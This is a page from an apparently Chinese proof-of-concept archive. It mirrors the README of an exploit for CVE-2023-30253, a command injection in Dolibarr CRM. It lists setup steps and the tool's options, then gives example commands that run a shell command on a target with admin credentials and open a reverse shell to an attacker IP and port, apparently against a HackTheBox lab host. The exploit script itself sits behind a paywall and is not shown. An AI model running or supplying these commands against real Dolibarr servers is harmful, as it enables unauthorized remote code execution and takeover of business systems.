Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CVE-2023-30253 PoC — Dolibarr 操作系统命令注入漏洞

Source
Associated Vulnerability
Title:Dolibarr 操作系统命令注入漏洞 (CVE-2023-30253)
Description:Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.
Description
Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.
Readme
# CVE-2023-30253

<p align="center">
  <img src="https://github.com/Rubikcuv5/cve-2023-30253/assets/47946047/eee891a5-2641-48c5-95bf-1b0e42ded1ac" alt="image">
</p>

# Description
 Dolibarr before 17.0.1 allows remote code execution by an authenticated user via an uppercase manipulation: <?PHP instead of <?php in injected data.



## Documentation

- [CVE-2023-30253](https://cvefeed.io/vuln/detail/CVE-2023-30253)
- [GitHub Advisory: GHSA-9wqr-5jp4-mjmh](https://github.com/advisories/GHSA-9wqr-5jp4-mjmh)

## Setup
```
git clone https://github.com/Rubikcuv5/cve-2023-30253.git

pip3 install -r requirements.txt

python3 CVE-2023-30253.py -h
```

## USAGE
```
usage: CVE-2023-30253.py [-h] [--url URL] [-u USER] [-p PASSWORD] (-c COMMAND | -r ip port)

Argument parser

options:
  -h, --help            show this help message and exit
  --url URL             URL of the website
  -u USER, --user USER  Username
  -p PASSWORD, --password PASSWORD
                        Password
  -c COMMAND, --command COMMAND
                        Command to execute
  -r ip port, --reverseshell ip port
                        Reverse shell IP and port

```
## EXAMPLES POC

### Execute a command 
```
python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -c "ls -l"
```

<p align="center">
  <img src="https://github.com/Rubikcuv5/cve-2023-30253/assets/47946047/25befa10-d52b-4f39-83cc-1398c7bb205e" alt="image">
</p>

### Getting a reverse shell
```
 python3 CVE-2023-30253.py --url http://crm.board.htb -u admin -p admin -r  10.10.14.17  4444
```
<p align="center">
  <img src="https://github.com/Rubikcuv5/cve-2023-30253/assets/47946047/56473ae8-901f-4eb3-ad8f-7794970c19ce" alt="image">
</p>


## Author

- [Rubickcuv](https://github.com/Rubikcuv5)
File Snapshot

Log in to view the POC file snapshot cached by Shenlong Bot

Log in to view
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →